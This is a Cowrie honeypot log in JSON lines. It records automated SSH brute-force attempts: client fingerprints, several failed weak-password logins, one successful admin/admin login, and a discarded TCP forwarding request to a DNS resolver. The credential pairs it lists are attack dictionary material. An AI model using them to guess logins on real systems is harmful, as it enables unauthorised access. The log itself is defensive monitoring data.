{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":41974,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f722149315f","protocol":"ssh","message":"New connection: 101.36.124.127:41974 (159.203.135.109:22) [session: 2f722149315f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:45.050361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:45.055145Z","src_ip":"101.36.124.127","session":"2f722149315f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:45.271674Z","src_ip":"101.36.124.127","session":"2f722149315f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456@","message":"login attempt [ubuntu/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:46.168896Z","src_ip":"101.36.124.127","session":"2f722149315f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:48:47.388100Z","src_ip":"101.36.124.127","session":"2f722149315f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":55232,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b0ba099072a","protocol":"ssh","message":"New connection: 27.119.7.6:55232 (10.17.0.5:22) [session: 6b0ba099072a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:41.876587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:41.885754Z","src_ip":"27.119.7.6","session":"6b0ba099072a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:42.069369Z","src_ip":"27.119.7.6","session":"6b0ba099072a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qweqweqwe","message":"login attempt [test/qweqweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:42.875961Z","src_ip":"27.119.7.6","session":"6b0ba099072a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":40048,"dst_ip":"159.203.135.109","dst_port":22,"session":"2407625e5687","protocol":"ssh","message":"New connection: 101.36.124.127:40048 (159.203.135.109:22) [session: 2407625e5687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:43.917809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:43.922671Z","src_ip":"101.36.124.127","session":"2407625e5687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:44.078628Z","src_ip":"27.119.7.6","session":"6b0ba099072a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:44.133943Z","src_ip":"101.36.124.127","session":"2407625e5687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"Password1","message":"login attempt [bitrix/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:45.011888Z","src_ip":"101.36.124.127","session":"2407625e5687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:49:46.226246Z","src_ip":"101.36.124.127","session":"2407625e5687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":59226,"dst_ip":"159.203.135.109","dst_port":22,"session":"98e5923854d7","protocol":"ssh","message":"New connection: 96.70.252.227:59226 (159.203.135.109:22) [session: 98e5923854d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:23.735594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:23.752991Z","src_ip":"96.70.252.227","session":"98e5923854d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:23.780045Z","src_ip":"96.70.252.227","session":"98e5923854d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwort","message":"login attempt [test/passwort] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:23.952639Z","src_ip":"96.70.252.227","session":"98e5923854d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:24.985391Z","src_ip":"96.70.252.227","session":"98e5923854d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":41560,"dst_ip":"159.203.135.109","dst_port":22,"session":"f534acf49375","protocol":"ssh","message":"New connection: 101.36.124.127:41560 (159.203.135.109:22) [session: f534acf49375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:39.165428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:39.169669Z","src_ip":"101.36.124.127","session":"f534acf49375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:39.384434Z","src_ip":"101.36.124.127","session":"f534acf49375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZzaq1","message":"login attempt [admin/!QAZzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:40.274225Z","src_ip":"101.36.124.127","session":"f534acf49375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:50:41.492753Z","src_ip":"101.36.124.127","session":"f534acf49375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27726,"dst_ip":"10.17.0.5","dst_port":22,"session":"20e3ae281168","protocol":"ssh","message":"New connection: 87.251.64.176:27726 (10.17.0.5:22) [session: 20e3ae281168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:32.729272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:32.733503Z","src_ip":"87.251.64.176","session":"20e3ae281168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:32.829620Z","src_ip":"87.251.64.176","session":"20e3ae281168","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:33.118453Z","src_ip":"87.251.64.176","session":"20e3ae281168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":60336,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bbad38eade1","protocol":"ssh","message":"New connection: 101.36.124.127:60336 (159.203.135.109:22) [session: 0bbad38eade1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:33.147920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:33.152839Z","src_ip":"101.36.124.127","session":"0bbad38eade1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:33.216676Z","session":"20e3ae281168","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:33.315923Z","src_ip":"87.251.64.176","session":"20e3ae281168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:33.365240Z","src_ip":"101.36.124.127","session":"0bbad38eade1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:33.414701Z","src_ip":"87.251.64.176","session":"20e3ae281168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Zxc12345","message":"login attempt [ubuntu/Zxc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:34.248909Z","src_ip":"101.36.124.127","session":"0bbad38eade1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:51:35.465642Z","src_ip":"101.36.124.127","session":"0bbad38eade1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":38062,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a54687deb0","protocol":"ssh","message":"New connection: 27.119.7.6:38062 (10.17.0.5:22) [session: 04a54687deb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:00.569303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:00.574235Z","src_ip":"27.119.7.6","session":"04a54687deb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:00.763847Z","src_ip":"27.119.7.6","session":"04a54687deb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ab123456","message":"login attempt [admin/ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:01.549363Z","src_ip":"27.119.7.6","session":"04a54687deb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:02.742156Z","src_ip":"27.119.7.6","session":"04a54687deb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":37996,"dst_ip":"10.17.0.5","dst_port":23,"session":"b074a8163630","protocol":"telnet","message":"New connection: 144.202.74.27:37996 (10.17.0.5:23) [session: b074a8163630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:15.104787Z"}
